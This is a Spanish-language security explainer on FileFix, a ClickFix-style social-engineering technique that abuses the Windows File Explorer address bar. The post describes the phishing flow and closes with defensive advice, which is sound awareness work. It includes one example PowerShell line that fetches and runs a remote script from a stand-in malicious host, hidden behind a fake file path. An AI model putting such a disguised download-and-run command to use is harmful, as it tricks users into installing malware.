Una nueva técnica de ataque llamada FileFix, desarrollada como evolución del método ClickFix, está generando preocupación en la comunidad de ciberseguridad. Esta técnica, demostrada por el investigador mr.d0x, permite a los atacantes ejecutar comandos maliciosos en sistemas Windows sin necesidad de exploits técnicos, utilizando únicamente ingeniería social y funciones legítimas del sistema operativo.
🧠 ¿Qué es FileFix?
FileFix es una variante del ataque ClickFix, que se basa en engañar al usuario para que copie y pegue comandos maliciosos en interfaces del sistema como el diálogo “Ejecutar” (Win+R) o la terminal. En el caso de FileFix, el truco se traslada al Explorador de Archivos de Windows, específicamente a su barra de direcciones, que también puede ejecutar comandos del sistema.
🎯 ¿Cómo funciona el ataque?
- El atacante crea una página de phishing que simula compartir un documento o archivo.
- La página muestra un mensaje que indica al usuario que debe abrir el Explorador de Archivos y pegar una ruta específica.
- Al hacer clic en “Abrir Explorador”, se copia automáticamente un comando malicioso en el portapapeles del usuario.
- El usuario, creyendo que está pegando una ruta de archivo, en realidad ejecuta un comando PowerShell oculto que puede:
- Descargar malware
- Establecer conexión con un servidor remoto
- Ejecutar código arbitrario
El truco está en que el comando malicioso está oculto con espacios y comentarios (#), por lo que el usuario solo ve una ruta falsa como C:\Documentos\archivo.doc, mientras que en realidad se ejecuta algo como:
powershell.exe -c "Invoke-WebRequest http://malicioso[.]com/payload.ps1 | iex" # C:\Documentos\archivo.doc
📈 ¿Por qué es preocupante?
- No requiere exploits ni malware inicial: solo interacción del usuario.
- Aprovecha funciones legítimas de Windows, lo que dificulta su detección.
- Puede ser automatizado y distribuido en campañas masivas de phishing.
- ClickFix, su predecesor, aumentó un 517% en uso en 2025, según ESET.
🛡️ Recomendaciones
- Nunca pegues rutas o comandos sugeridos por sitios desconocidos.
- Desconfía de páginas que te pidan usar el Explorador de Archivos para abrir archivos externos.
- Monitorea el portapapeles si visitas sitios sospechosos.
- Educa a los usuarios sobre este tipo de ataques sin malware visible.
